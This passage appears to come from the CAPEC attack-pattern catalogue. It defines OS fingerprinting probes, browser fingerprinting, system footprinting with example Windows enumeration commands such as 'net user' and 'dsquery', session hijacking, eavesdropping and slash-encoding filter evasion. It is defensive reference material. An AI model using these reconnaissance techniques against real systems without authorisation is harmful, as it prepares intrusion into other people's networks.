This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.
CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.
CAPEC-320: TCP Timestamp Probe
This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.
CAPEC-321: TCP Sequence Number Probe
This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.
CAPEC-322: TCP (ISN) Greatest Common Divisor Probe
This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.
CAPEC-323: TCP (ISN) Counter Rate Probe
This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.
CAPEC-324: TCP (ISN) Sequence Predictability Probe
This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.
CAPEC-325: TCP Congestion Control Flag (ECN) Probe
This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.
CAPEC-326: TCP Initial Window Size Probe
This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.
CAPEC-327: TCP Options Probe
This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.
CAPEC-328: TCP 'RST' Flag Checksum Probe
This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.
CAPEC-329: ICMP Error Message Quoting Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.
CAPEC-330: ICMP Error Message Echoing Integrity Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.
CAPEC-472: Browser Fingerprinting
An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
CAPEC-497: File Discovery
An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.
CAPEC-508: Shoulder Surfing
In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.
CAPEC-573: Process Footprinting
An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.
CAPEC-574: Services Footprinting
An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.
CAPEC-575: Account Footprinting
An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".
CAPEC-576: Group Permission Footprinting
An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".
CAPEC-577: Owner Footprinting
An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-616: Establish Rogue Location
An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.
CAPEC-643: Identify Shared Files/Directories on System
An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.
CAPEC-646: Peripheral Footprinting
Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.
CAPEC-651: Eavesdropping
An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.